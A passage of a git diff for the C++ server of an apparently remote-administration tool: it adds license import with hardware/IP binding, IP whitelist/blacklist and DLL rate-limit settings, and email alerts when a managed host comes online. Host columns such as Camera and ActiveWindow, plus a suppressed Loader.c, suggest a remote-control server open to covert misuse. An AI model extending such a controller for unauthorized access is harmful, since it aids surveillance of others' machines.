if (magic != LICENSE_MAGIC) {
|
||||
outError = GetImportErrorMessage(LicenseImportResult::InvalidMagic);
|
||||
return LicenseImportResult::InvalidMagic;
|
||||
}
|
||||
|
||||
// 4. Extract and validate version
|
||||
int version = root.get("version", 0).asInt();
|
||||
if (version <= 0) {
|
||||
outError = GetImportErrorMessage(LicenseImportResult::InvalidFormat);
|
||||
return LicenseImportResult::InvalidFormat;
|
||||
}
|
||||
if (version > LICENSE_FILE_VERSION) {
|
||||
outError = GetImportErrorMessage(LicenseImportResult::VersionTooHigh);
|
||||
return LicenseImportResult::VersionTooHigh;
|
||||
}
|
||||
|
||||
// 5. Extract createTime
|
||||
std::string createTime = root.get("createTime", "").asString();
|
||||
|
||||
// 6. Extract license object
|
||||
if (!root.isMember("license") || !root["license"].isObject()) {
|
||||
outError = GetImportErrorMessage(LicenseImportResult::InvalidFormat);
|
||||
return LicenseImportResult::InvalidFormat;
|
||||
}
|
||||
|
||||
const Json::Value& license = root["license"];
|
||||
std::string sn = license.get("sn", "").asString();
|
||||
std::string password = license.get("password", "").asString();
|
||||
std::string pwdHmac = license.get("pwdHmac", "").asString();
|
||||
std::string authorization = license.get("authorization", "").asString();
|
||||
std::string frpConfig = license.get("frpConfig", "").asString();
|
||||
|
||||
// 7. Check required fields
|
||||
if (sn.empty() || password.empty() || pwdHmac.empty()) {
|
||||
outError = GetImportErrorMessage(LicenseImportResult::IncompleteData);
|
||||
return LicenseImportResult::IncompleteData;
|
||||
}
|
||||
|
||||
// 8. Verify checksum
|
||||
std::string storedChecksum = root.get("checksum", "").asString();
|
||||
std::string expectedContent = BuildChecksumContent(
|
||||
magic, version, createTime, sn, password, pwdHmac, authorization, frpConfig);
|
||||
std::string expectedChecksum = "sha256:" + hashSHA256(expectedContent);
|
||||
|
||||
if (storedChecksum != expectedChecksum) {
|
||||
outError = GetImportErrorMessage(LicenseImportResult::ChecksumMismatch);
|
||||
return LicenseImportResult::ChecksumMismatch;
|
||||
}
|
||||
|
||||
// 9. Validate SN
|
||||
SNMatchResult snResult = ValidateLicenseSN(sn);
|
||||
if (snResult == SNMatchResult::HardwareMismatch) {
|
||||
outError = GetImportErrorMessage(LicenseImportResult::SNMismatchHardware);
|
||||
return LicenseImportResult::SNMismatchHardware;
|
||||
} else if (snResult == SNMatchResult::IPMismatch) {
|
||||
outError = GetImportErrorMessage(LicenseImportResult::SNMismatchIP);
|
||||
return LicenseImportResult::SNMismatchIP;
|
||||
}
|
||||
|
||||
// 10. Fill output data
|
||||
outData.sn = sn;
|
||||
outData.password = password;
|
||||
outData.pwdHmac = pwdHmac;
|
||||
outData.authorization = authorization;
|
||||
outData.frpConfig = frpConfig;
|
||||
outData.createTime = createTime;
|
||||
outData.version = version;
|
||||
|
||||
return LicenseImportResult::Success;
|
||||
}
|
||||
|
||||
bool ApplyLicenseData(const LicenseFileData& data) {
|
||||
// Save to settings
|
||||
THIS_CFG.SetStr("settings", "SN", data.sn);
|
||||
THIS_CFG.SetStr("settings", "Password", data.password);
|
||||
THIS_CFG.SetStr("settings", "PwdHmac", data.pwdHmac);
|
||||
|
||||
// Always set Authorization (clear old value if empty)
|
||||
THIS_CFG.SetStr("settings", "Authorization", data.authorization);
|
||||
|
||||
// Save FRP config (clear old value if empty)
|
||||
THIS_CFG.SetStr("settings", "FrpConfig", data.frpConfig);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
std::string GetImportErrorMessage(LicenseImportResult result) {
|
||||
switch (result) {
|
||||
case LicenseImportResult::Success:
|
||||
return "";
|
||||
case LicenseImportResult::FileNotFound:
|
||||
return std::string(CT2A(_L("文件不存在")));
|
||||
case LicenseImportResult::InvalidFormat:
|
||||
return std::string(CT2A(_L("文件格式错误")));
|
||||
case LicenseImportResult::InvalidMagic:
|
||||
return std::string(CT2A(_L("不是有效的YAMA授权文件")));
|
||||
case LicenseImportResult::VersionTooHigh:
|
||||
return std::string(CT2A(_L("授权文件版本过高,请升级程序")));
|
||||
case LicenseImportResult::ChecksumMismatch:
|
||||
return std::string(CT2A(_L("授权文件已损坏或被篡改")));
|
||||
case LicenseImportResult::SNMismatchHardware:
|
||||
return std::string(CT2A(_L("此授权不适用于当前设备")));
|
||||
case LicenseImportResult::SNMismatchIP:
|
||||
return std::string(CT2A(_L("此授权不适用于当前公网IP")));
|
||||
case LicenseImportResult::IncompleteData:
|
||||
return std::string(CT2A(_L("授权信息不完整")));
|
||||
default:
|
||||
return std::string(CT2A(_L("未知错误")));
|
||||
}
|
||||
}
|
||||
84
server/2015Remote/LicenseFile.h
Normal file
84
server/2015Remote/LicenseFile.h
Normal file
@@ -0,0 +1,84 @@
|
||||
#pragma once
|
||||
|
||||
#include <string>
|
||||
#include "UIBranding.h"
|
||||
|
||||
// License file format version
|
||||
const int LICENSE_FILE_VERSION = 1;
|
||||
|
||||
// Magic constant (警告:BRAND_LICENSE_MAGIC 为系统保留,请勿修改!)
|
||||
const char* const LICENSE_MAGIC = BRAND_LICENSE_MAGIC;
|
||||
|
||||
// License file data structure
|
||||
struct LicenseFileData {
|
||||
std::string sn;
|
||||
std::string password;
|
||||
std::string pwdHmac;
|
||||
std::string authorization;
|
||||
std::string frpConfig; // FRP 代理配置(可选)
|
||||
std::string createTime;
|
||||
int version;
|
||||
|
||||
// Helper: check if V2 auth
|
||||
bool IsV2Auth() const {
|
||||
return pwdHmac.size() >= 3 && pwdHmac.substr(0, 3) == "v2:";
|
||||
}
|
||||
};
|
||||
|
||||
// SN match result
|
||||
enum class SNMatchResult {
|
||||
Match,
|
||||
HardwareMismatch,
|
||||
IPMismatch
|
||||
};
|
||||
|
||||
// Import result enum
|
||||
enum class LicenseImportResult {
|
||||
Success = 0,
|
||||
FileNotFound,
|
||||
InvalidFormat,
|
||||
InvalidMagic,
|
||||
VersionTooHigh,
|
||||
ChecksumMismatch,
|
||||
SNMismatchHardware,
|
||||
SNMismatchIP,
|
||||
IncompleteData
|
||||
};
|
||||
|
||||
// Export license to file
|
||||
// filePath: output file path
|
||||
// sn: serial number / device ID
|
||||
// password: password string
|
||||
// pwdHmac: HMAC signature
|
||||
// authorization: optional multi-layer auth
|
||||
// frpConfig: optional FRP proxy config
|
||||
// Returns: true on success
|
||||
bool ExportLicenseFile(const std::string& filePath,
|
||||
const std::string& sn,
|
||||
const std::string& password,
|
||||
const std::string& pwdHmac,
|
||||
const std::string& authorization = "",
|
||||
const std::string& frpConfig = "");
|
||||
|
||||
// Import license from file
|
||||
// filePath: input file path
|
||||
// outData: output license data
|
||||
// outError: output error message
|
||||
// Returns: LicenseImportResult
|
||||
LicenseImportResult ImportLicenseFile(const std::string& filePath,
|
||||
LicenseFileData& outData,
|
||||
std::string& outError);
|
||||
|
||||
// Apply license data to current program
|
||||
// data: license data to apply
|
||||
// Returns: true on success
|
||||
bool ApplyLicenseData(const LicenseFileData& data);
|
||||
|
||||
// Get import error message
|
||||
std::string GetImportErrorMessage(LicenseImportResult result);
|
||||
|
||||
// Validate SN (hardware ID or IP)
|
||||
SNMatchResult ValidateLicenseSN(const std::string& licenseSN);
|
||||
|
||||
// Check if SN is IPv4 format
|
||||
bool IsIPv4Format(const std::string& sn);
|
||||
265
server/2015Remote/Loader.c
Normal file
265
server/2015Remote/Loader.c
Normal file
File diff suppressed because one or more lines are too long
319
server/2015Remote/NetworkDlg.cpp
Normal file
319
server/2015Remote/NetworkDlg.cpp
Normal file
@@ -0,0 +1,319 @@
|
||||
// NetworkDlg.cpp - 网络配置对话框实现
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "NetworkDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "2015Remote.h"
|
||||
|
||||
// 外部函数:刷新缓存的限流配置
|
||||
extern void ReloadBanConfig();
|
||||
extern void ReloadDllRateLimitConfig();
|
||||
|
||||
CNetworkDlg::CNetworkDlg(CWnd* pParent /*=nullptr*/)
|
||||
: CDialogLangEx(IDD_DIALOG_NETWORK, pParent)
|
||||
, m_nDllLimitSeconds(3600)
|
||||
, m_nDllLimitCount(4)
|
||||
, m_nBanWindow(60)
|
||||
, m_nBanMaxConn(15)
|
||||
, m_nBanDuration(3600)
|
||||
{
|
||||
}
|
||||
|
||||
CNetworkDlg::~CNetworkDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CNetworkDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
__super::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_LIST_WHITELIST, m_ListWhitelist);
|
||||
DDX_Control(pDX, IDC_LIST_BLACKLIST, m_ListBlacklist);
|
||||
DDX_Control(pDX, IDC_EDIT_NETWORK_IP, m_EditIP);
|
||||
DDX_Text(pDX, IDC_EDIT_DLL_LIMIT_SECONDS, m_nDllLimitSeconds);
|
||||
DDX_Text(pDX, IDC_EDIT_DLL_LIMIT_COUNT, m_nDllLimitCount);
|
||||
DDX_Text(pDX, IDC_EDIT_BAN_WINDOW, m_nBanWindow);
|
||||
DDX_Text(pDX, IDC_EDIT_BAN_MAX_CONN, m_nBanMaxConn);
|
||||
DDX_Text(pDX, IDC_EDIT_BAN_DURATION, m_nBanDuration);
|
||||
}
|
||||
|
||||
BEGIN_MESSAGE_MAP(CNetworkDlg, CDialogLangEx)
|
||||
ON_BN_CLICKED(IDC_BTN_ADD_WHITELIST, &CNetworkDlg::OnBnClickedAddWhitelist)
|
||||
ON_BN_CLICKED(IDC_BTN_DEL_WHITELIST, &CNetworkDlg::OnBnClickedDelWhitelist)
|
||||
ON_BN_CLICKED(IDC_BTN_ADD_BLACKLIST, &CNetworkDlg::OnBnClickedAddBlacklist)
|
||||
ON_BN_CLICKED(IDC_BTN_DEL_BLACKLIST, &CNetworkDlg::OnBnClickedDelBlacklist)
|
||||
ON_BN_CLICKED(IDOK, &CNetworkDlg::OnBnClickedOk)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
BOOL CNetworkDlg::OnInitDialog()
|
||||
{
|
||||
__super::OnInitDialog();
|
||||
|
||||
// 多语言翻译
|
||||
SetWindowText(_TR("网络配置"));
|
||||
SetDlgItemText(IDC_STATIC_WHITELIST, _TR("白名单 (不限流):"));
|
||||
SetDlgItemText(IDC_STATIC_BLACKLIST, _TR("黑名单 (拒绝连接):"));
|
||||
SetDlgItemText(IDC_STATIC_IP_INPUT, _TR("IP 地址:"));
|
||||
SetDlgItemText(IDC_BTN_ADD_WHITELIST, _TR("添加 >>"));
|
||||
SetDlgItemText(IDC_BTN_DEL_WHITELIST, _TR("删除"));
|
||||
SetDlgItemText(IDC_BTN_ADD_BLACKLIST, _TR("添加 >>"));
|
||||
SetDlgItemText(IDC_BTN_DEL_BLACKLIST, _TR("删除"));
|
||||
SetDlgItemText(IDC_STATIC_NETWORK_HINT, _TR("说明:"));
|
||||
SetDlgItemText(IDC_STATIC_NETWORK_HINT1, _TR("- 白名单IP: 不受限流"));
|
||||
SetDlgItemText(IDC_STATIC_NETWORK_HINT2, _TR("- 黑名单IP: 拒绝请求"));
|
||||
SetDlgItemText(IDC_STATIC_NETWORK_HINT3, _TR("- 127.0.0.1 自动白名单"));
|
||||
SetDlgItemText(IDC_STATIC_NETWORK_HINT4, _TR("- 配置即时生效并保存"));
|
||||
SetDlgItemText(IDOK, _TR("确定"));
|
||||
SetDlgItemText(IDCANCEL, _TR("取消"));
|
||||
SetDlgItemText(IDC_STATIC_DLL_LIMIT, _TR("DLL限流设置:"));
|
||||
SetDlgItemText(IDC_STATIC_DLL_WINDOW, _TR("时间窗口(秒):"));
|
||||
SetDlgItemText(IDC_STATIC_DLL_COUNT, _TR("最大请求数:"));
|
||||
SetDlgItemText(IDC_STATIC_BAN_SETTINGS, _TR("IP封禁设置:"));
|
||||
SetDlgItemText(IDC_STATIC_BAN_WINDOW, _TR("统计窗口(秒):"));
|
||||
SetDlgItemText(IDC_STATIC_BAN_MAXCONN, _TR("最大连接数:"));
|
||||
SetDlgItemText(IDC_STATIC_BAN_DURATION, _TR("封禁时长(秒):"));
|
||||
|
||||
// 加载现有列表和阈值
|
||||
LoadLists();
|
||||
LoadThresholds();
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void CNetworkDlg::LoadLists()
|
||||
{
|
||||
// 加载白名单
|
||||
m_ListWhitelist.ResetContent();
|
||||
auto whiteIPs = IPWhitelist::getInstance().GetAll();
|
||||
for (const auto& ip : whiteIPs) {
|
||||
m_ListWhitelist.AddString(CString(ip.c_str()));
|
||||
}
|
||||
|
||||
// 加载黑名单
|
||||
m_ListBlacklist.ResetContent();
|
||||
auto blackIPs = IPBlacklist::getInstance().GetAll();
|
||||
for (const auto& ip : blackIPs) {
|
||||
m_ListBlacklist.AddString(CString(ip.c_str()));
|
||||
}
|
||||
}
|
||||
|
||||
void CNetworkDlg::SaveLists()
|
||||
{
|
||||
// 保存白名单
|
||||
std::string whitelistStr = IPWhitelist::getInstance().Export();
|
||||
THIS_CFG.SetStr("settings", "IPWhitelist", whitelistStr.c_str());
|
||||
|
||||
// 保存黑名单
|
||||
std::string blacklistStr = IPBlacklist::getInstance().Export();
|
||||
THIS_CFG.SetStr("settings", "IPBlacklist", blacklistStr.c_str());
|
||||
}
|
||||
|
||||
void CNetworkDlg::LoadThresholds()
|
||||
{
|
||||
// 加载 DLL 限流设置
|
||||
m_nDllLimitSeconds = THIS_CFG.GetInt("settings", "DllLimitSeconds", 3600);
|
||||
m_nDllLimitCount = THIS_CFG.GetInt("settings", "DllLimitCount", 4);
|
||||
|
||||
// 加载 IP 封禁设置
|
||||
m_nBanWindow = THIS_CFG.GetInt("settings", "BanWindow", 60);
|
||||
m_nBanMaxConn = THIS_CFG.GetInt("settings", "BanMaxConn", 15);
|
||||
m_nBanDuration = THIS_CFG.GetInt("settings", "BanDuration", 3600);
|
||||
|
||||
// 更新界面
|
||||
UpdateData(FALSE);
|
||||
}
|
||||
|
||||
void CNetworkDlg::SaveThresholds()
|
||||
{
|
||||
// 保存 DLL 限流设置
|
||||
THIS_CFG.SetInt("settings", "DllLimitSeconds", m_nDllLimitSeconds);
|
||||
THIS_CFG.SetInt("settings", "DllLimitCount", m_nDllLimitCount);
|
||||
|
||||
// 保存 IP 封禁设置
|
||||
THIS_CFG.SetInt("settings", "BanWindow", m_nBanWindow);
|
||||
THIS_CFG.SetInt("settings", "BanMaxConn", m_nBanMaxConn);
|
||||
THIS_CFG.SetInt("settings", "BanDuration", m_nBanDuration);
|
||||
}
|
||||
|
||||
bool CNetworkDlg::IsValidIP(const CString& ip)
|
||||
{
|
||||
if (ip.IsEmpty()) return false;
|
||||
|
||||
// 简单的 IP 格式检查: xxx.xxx.xxx.xxx
|
||||
int partCount = 0;
|
||||
int partValue = 0;
|
||||
bool hasDigit = false;
|
||||
|
||||
for (int i = 0; i <= ip.GetLength(); i++) {
|
||||
TCHAR c = (i < ip.GetLength()) ? ip.GetAt(i) : '\0';
|
||||
|
||||
if (c >= '0' && c <= '9') {
|
||||
partValue = partValue * 10 + (c - '0');
|
||||
hasDigit = true;
|
||||
if (partValue > 255) return false;
|
||||
}
|
||||
else if (c == '.' || c == '\0') {
|
||||
if (!hasDigit) return false; // 空段
|
||||
partCount++;
|
||||
partValue = 0;
|
||||
hasDigit = false;
|
||||
if (c == '\0') break;
|
||||
}
|
||||
else {
|
||||
return false; // 非法字符
|
||||
}
|
||||
}
|
||||
|
||||
return (partCount == 4);
|
||||
}
|
||||
|
||||
CString CNetworkDlg::GetInputIP()
|
||||
{
|
||||
CString ip;
|
||||
m_EditIP.GetWindowText(ip);
|
||||
ip.Trim();
|
||||
return ip;
|
||||
}
|
||||
|
||||
void CNetworkDlg::OnBnClickedAddWhitelist()
|
||||
{
|
||||
CString ip = GetInputIP();
|
||||
|
||||
if (!IsValidIP(ip)) {
|
||||
MessageBox(_TR("请输入有效的 IP 地址"), _TR("错误"), MB_OK | MB_ICONERROR);
|
||||
return;
|
||||
}
|
||||
|
||||
CStringA ipA(ip);
|
||||
std::string ipStr(ipA.GetString());
|
||||
|
||||
// 检查是否已在白名单中
|
||||
if (IPWhitelist::getInstance().IsWhitelisted(ipStr)) {
|
||||
MessageBox(_TR("该 IP 已在白名单中"), _TR("提示"), MB_OK | MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
|
||||
// 如果在黑名单中,先移除
|
||||
if (IPBlacklist::getInstance().IsBlacklisted(ipStr)) {
|
||||
IPBlacklist::getInstance().RemoveIP(ipStr);
|
||||
// 从黑名单列表中移除
|
||||
for (int i = 0; i < m_ListBlacklist.GetCount(); i++) {
|
||||
CString item;
|
||||
m_ListBlacklist.GetText(i, item);
|
||||
if (item == ip) {
|
||||
m_ListBlacklist.DeleteString(i);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 添加到白名单
|
||||
IPWhitelist::getInstance().AddIP(ipStr);
|
||||
m_ListWhitelist.AddString(ip);
|
||||
m_EditIP.SetWindowText(_T(""));
|
||||
}
|
||||
|
||||
void CNetworkDlg::OnBnClickedDelWhitelist()
|
||||
{
|
||||
int sel = m_ListWhitelist.GetCurSel();
|
||||
if (sel == LB_ERR) {
|
||||
MessageBox(_TR("请先选择要删除的 IP"), _TR("提示"), MB_OK | MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
|
||||
CString ip;
|
||||
m_ListWhitelist.GetText(sel, ip);
|
||||
CStringA ipA(ip);
|
||||
std::string ipStr(ipA.GetString());
|
||||
|
||||
IPWhitelist::getInstance().RemoveIP(ipStr);
|
||||
m_ListWhitelist.DeleteString(sel);
|
||||
}
|
||||
|
||||
void CNetworkDlg::OnBnClickedAddBlacklist()
|
||||
{
|
||||
CString ip = GetInputIP();
|
||||
|
||||
if (!IsValidIP(ip)) {
|
||||
MessageBox(_TR("请输入有效的 IP 地址"), _TR("错误"), MB_OK | MB_ICONERROR);
|
||||
return;
|
||||
}
|
||||
|
||||
CStringA ipA(ip);
|
||||
std::string ipStr(ipA.GetString());
|
||||
|
||||
// 检查是否是本地地址
|
||||
if (ipStr == "127.0.0.1" || ipStr == "::1") {
|
||||
MessageBox(_TR("本地地址不能加入黑名单"), _TR("错误"), MB_OK | MB_ICONERROR);
|
||||
return;
|
||||
}
|
||||
|
||||
// 检查是否已在黑名单中
|
||||
if (IPBlacklist::getInstance().IsBlacklisted(ipStr)) {
|
||||
MessageBox(_TR("该 IP 已在黑名单中"), _TR("提示"), MB_OK | MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
|
||||
// 如果在白名单中,先移除
|
||||
if (IPWhitelist::getInstance().IsWhitelisted(ipStr)) {
|
||||
IPWhitelist::getInstance().RemoveIP(ipStr);
|
||||
// 从白名单列表中移除
|
||||
for (int i = 0; i < m_ListWhitelist.GetCount(); i++) {
|
||||
CString item;
|
||||
m_ListWhitelist.GetText(i, item);
|
||||
if (item == ip) {
|
||||
m_ListWhitelist.DeleteString(i);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 添加到黑名单
|
||||
IPBlacklist::getInstance().AddIP(ipStr);
|
||||
m_ListBlacklist.AddString(ip);
|
||||
m_EditIP.SetWindowText(_T(""));
|
||||
}
|
||||
|
||||
void CNetworkDlg::OnBnClickedDelBlacklist()
|
||||
{
|
||||
int sel = m_ListBlacklist.GetCurSel();
|
||||
if (sel == LB_ERR) {
|
||||
MessageBox(_TR("请先选择要删除的 IP"), _TR("提示"), MB_OK | MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
|
||||
CString ip;
|
||||
m_ListBlacklist.GetText(sel, ip);
|
||||
CStringA ipA(ip);
|
||||
std::string ipStr(ipA.GetString());
|
||||
|
||||
IPBlacklist::getInstance().RemoveIP(ipStr);
|
||||
m_ListBlacklist.DeleteString(sel);
|
||||
}
|
||||
|
||||
void CNetworkDlg::OnBnClickedOk()
|
||||
{
|
||||
// 获取阈值输入
|
||||
UpdateData(TRUE);
|
||||
|
||||
// 验证阈值范围
|
||||
if (m_nDllLimitSeconds < 60) m_nDllLimitSeconds = 60;
|
||||
if (m_nDllLimitSeconds > 86400) m_nDllLimitSeconds = 86400;
|
||||
if (m_nDllLimitCount < 1) m_nDllLimitCount = 1;
|
||||
if (m_nDllLimitCount > 100) m_nDllLimitCount = 100;
|
||||
if (m_nBanWindow < 10) m_nBanWindow = 10;
|
||||
if (m_nBanWindow > 3600) m_nBanWindow = 3600;
|
||||
if (m_nBanMaxConn < 1) m_nBanMaxConn = 1;
|
||||
if (m_nBanMaxConn > 1000) m_nBanMaxConn = 1000;
|
||||
if (m_nBanDuration < 60) m_nBanDuration = 60;
|
||||
if (m_nBanDuration > 86400) m_nBanDuration = 86400;
|
||||
|
||||
// 保存配置
|
||||
SaveLists();
|
||||
SaveThresholds();
|
||||
|
||||
// 刷新缓存
|
||||
ReloadBanConfig();
|
||||
ReloadDllRateLimitConfig();
|
||||
|
||||
__super::OnOK();
|
||||
}
|
||||
51
server/2015Remote/NetworkDlg.h
Normal file
51
server/2015Remote/NetworkDlg.h
Normal file
@@ -0,0 +1,51 @@
|
||||
// NetworkDlg.h - 网络配置对话框
|
||||
// 用于配置 IP 白名单和黑名单
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "resource.h"
|
||||
#include "LangManager.h"
|
||||
#include "../../common/IPWhitelist.h"
|
||||
#include "../../common/IPBlacklist.h"
|
||||
|
||||
class CNetworkDlg : public CDialogLangEx
|
||||
{
|
||||
public:
|
||||
CNetworkDlg(CWnd* pParent = nullptr);
|
||||
virtual ~CNetworkDlg();
|
||||
|
||||
enum { IDD = IDD_DIALOG_NETWORK };
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
virtual BOOL OnInitDialog();
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
// 控件
|
||||
CListBox m_ListWhitelist;
|
||||
CListBox m_ListBlacklist;
|
||||
CEdit m_EditIP;
|
||||
|
||||
// 阈值设置
|
||||
UINT m_nDllLimitSeconds;
|
||||
UINT m_nDllLimitCount;
|
||||
UINT m_nBanWindow;
|
||||
UINT m_nBanMaxConn;
|
||||
UINT m_nBanDuration;
|
||||
|
||||
// 消息处理
|
||||
afx_msg void OnBnClickedAddWhitelist();
|
||||
afx_msg void OnBnClickedDelWhitelist();
|
||||
afx_msg void OnBnClickedAddBlacklist();
|
||||
afx_msg void OnBnClickedDelBlacklist();
|
||||
afx_msg void OnBnClickedOk();
|
||||
|
||||
private:
|
||||
void LoadLists();
|
||||
void SaveLists();
|
||||
void LoadThresholds();
|
||||
void SaveThresholds();
|
||||
bool IsValidIP(const CString& ip);
|
||||
CString GetInputIP();
|
||||
};
|
||||
123
server/2015Remote/NotifyConfig.h
Normal file
123
server/2015Remote/NotifyConfig.h
Normal file
@@ -0,0 +1,123 @@
|
||||
#pragma once
|
||||
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <unordered_map>
|
||||
#include <ctime>
|
||||
|
||||
// Notification cooldown period (minutes)
|
||||
// Same host will only trigger one notification within this period
|
||||
#define NOTIFY_COOLDOWN_MINUTES 60
|
||||
|
||||
// Notification trigger types
|
||||
enum NotifyTriggerType {
|
||||
NOTIFY_TRIGGER_NONE = 0,
|
||||
NOTIFY_TRIGGER_HOST_ONLINE = 1, // Host comes online
|
||||
// Future extensions:
|
||||
// NOTIFY_TRIGGER_HOST_OFFLINE = 2,
|
||||
// NOTIFY_TRIGGER_FILE_TRANSFER = 3,
|
||||
};
|
||||
|
||||
// Single notification rule
|
||||
struct NotifyRule {
|
||||
bool enabled; // Whether this rule is enabled
|
||||
NotifyTriggerType triggerType; // Trigger type
|
||||
int columnIndex; // Column index (0-based)
|
||||
std::string matchPattern; // Match pattern (semicolon-separated keywords)
|
||||
|
||||
NotifyRule()
|
||||
: enabled(false)
|
||||
, triggerType(NOTIFY_TRIGGER_NONE)
|
||||
, columnIndex(0)
|
||||
{}
|
||||
};
|
||||
|
||||
// SMTP configuration
|
||||
struct SmtpConfig {
|
||||
std::string server; // smtp.gmail.com
|
||||
int port; // 587
|
||||
bool useSSL; // true for TLS
|
||||
std::string username; // sender email
|
||||
std::string password; // app-specific password (encrypted in storage)
|
||||
std::string recipient; // recipient email
|
||||
|
||||
SmtpConfig()
|
||||
: port(587)
|
||||
, useSSL(true)
|
||||
{}
|
||||
|
||||
bool IsValid() const {
|
||||
return !server.empty() && port > 0 && !username.empty() && !password.empty();
|
||||
}
|
||||
|
||||
// Get effective recipient (fallback to username if empty)
|
||||
std::string GetRecipient() const {
|
||||
return recipient.empty() ? username : recipient;
|
||||
}
|
||||
};
|
||||
|
||||
// Complete notification configuration
|
||||
struct NotifyConfig {
|
||||
SmtpConfig smtp;
|
||||
std::vector<NotifyRule> rules; // Rule list (supports multiple rules in future)
|
||||
|
||||
// Frequency control: record last notification time for each host
|
||||
// key = clientID, value = last notification timestamp
|
||||
std::unordered_map<uint64_t, time_t> lastNotifyTime;
|
||||
|
||||
NotifyConfig() {
|
||||
// Initialize with one default rule
|
||||
rules.push_back(NotifyRule());
|
||||
}
|
||||
|
||||
// Get the first (and currently only) rule
|
||||
NotifyRule& GetRule() {
|
||||
if (rules.empty()) {
|
||||
rules.push_back(NotifyRule());
|
||||
}
|
||||
return rules[0];
|
||||
}
|
||||
|
||||
const NotifyRule& GetRule() const {
|
||||
static NotifyRule emptyRule;
|
||||
return rules.empty() ? emptyRule : rules[0];
|
||||
}
|
||||
|
||||
// Check if any rule is enabled
|
||||
bool HasEnabledRule() const {
|
||||
for (const auto& rule : rules) {
|
||||
if (rule.enabled) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
};
|
||||
|
||||
// Column name mapping for UI
|
||||
inline const char* GetColumnName(int index) {
|
||||
static const char* names[] = {
|
||||
"IP", // 0
|
||||
"Address", // 1
|
||||
"Location", // 2
|
||||
"ComputerName", // 3
|
||||
"OS", // 4
|
||||
"CPU", // 5
|
||||
"Camera", // 6
|
||||
"RTT", // 7
|
||||
"Version", // 8
|
||||
"InstallTime", // 9
|
||||
"ActiveWindow", // 10
|
||||
"ClientType", // 11
|
||||
};
|
||||
if (index >= 0 && index < sizeof(names)/sizeof(names[0])) {
|
||||
return names[index];
|
||||
}
|
||||
return "Unknown";
|
||||
}
|
||||
|
||||
// Trigger type name mapping for UI
|
||||
inline const char* GetTriggerTypeName(NotifyTriggerType type) {
|
||||
switch (type) {
|
||||
case NOTIFY_TRIGGER_HOST_ONLINE: return "Host Online";
|
||||
default: return "None";
|
||||
}
|
||||
}
|
||||
465
server/2015Remote/NotifyManager.cpp
Normal file
465
server/2015Remote/NotifyManager.cpp
Normal file
@@ -0,0 +1,465 @@
|
||||
#include "stdafx.h"
|
||||
#include "NotifyManager.h"
|
||||
#include "context.h"
|
||||
#include "common/iniFile.h"
|
||||
#include "UIBranding.h"
|
||||
#include <thread>
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
#include <shlobj.h>
|
||||
#include <ctime>
|
||||
|
||||
// Get config directory path (same as GetDbPath directory)
|
||||
static std::string GetConfigDir()
|
||||
{
|
||||
static char path[MAX_PATH];
|
||||
static std::string ret;
|
||||
if (ret.empty()) {
|
||||
if (FAILED(SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, path))) {
|
||||
ret = ".\\";
|
||||
} else {
|
||||
ret = std::string(path) + "\\" BRAND_DATA_FOLDER "\\";
|
||||
}
|
||||
CreateDirectoryA(ret.c_str(), NULL);
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
NotifyManager& NotifyManager::Instance()
|
||||
{
|
||||
static NotifyManager instance;
|
||||
return instance;
|
||||
}
|
||||
|
||||
NotifyManager::NotifyManager()
|
||||
: m_initialized(false)
|
||||
, m_powerShellAvailable(false)
|
||||
{
|
||||
}
|
||||
|
||||
void NotifyManager::Initialize()
|
||||
{
|
||||
if (m_initialized) return;
|
||||
|
||||
m_powerShellAvailable = DetectPowerShellSupport();
|
||||
LoadConfig();
|
||||
m_initialized = true;
|
||||
}
|
||||
|
||||
bool NotifyManager::DetectPowerShellSupport()
|
||||
{
|
||||
// Check if PowerShell Send-MailMessage command is available
|
||||
std::string cmd = "powershell -NoProfile -Command \"Get-Command Send-MailMessage -ErrorAction SilentlyContinue\"";
|
||||
DWORD exitCode = 1;
|
||||
ExecutePowerShell(cmd, &exitCode, true);
|
||||
return (exitCode == 0);
|
||||
}
|
||||
|
||||
std::string NotifyManager::GetConfigPath() const
|
||||
{
|
||||
return GetConfigDir() + "notify.ini";
|
||||
}
|
||||
|
||||
NotifyConfig NotifyManager::GetConfig()
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
return m_config;
|
||||
}
|
||||
|
||||
void NotifyManager::SetConfig(const NotifyConfig& config)
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
// Preserve lastNotifyTime from current config
|
||||
auto lastNotifyTime = m_config.lastNotifyTime;
|
||||
m_config = config;
|
||||
m_config.lastNotifyTime = lastNotifyTime;
|
||||
}
|
||||
|
||||
void NotifyManager::LoadConfig()
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
config cfg(GetConfigPath());
|
||||
|
||||
// SMTP settings
|
||||
m_config.smtp.server = cfg.GetStr("SMTP", "Server", "smtp.gmail.com");
|
||||
m_config.smtp.port = cfg.GetInt("SMTP", "Port", 587);
|
||||
m_config.smtp.useSSL = cfg.GetInt("SMTP", "UseSSL", 1) != 0;
|
||||
m_config.smtp.username = cfg.GetStr("SMTP", "Username", "");
|
||||
m_config.smtp.password = DecryptPassword(cfg.GetStr("SMTP", "Password", ""));
|
||||
m_config.smtp.recipient = cfg.GetStr("SMTP", "Recipient", "");
|
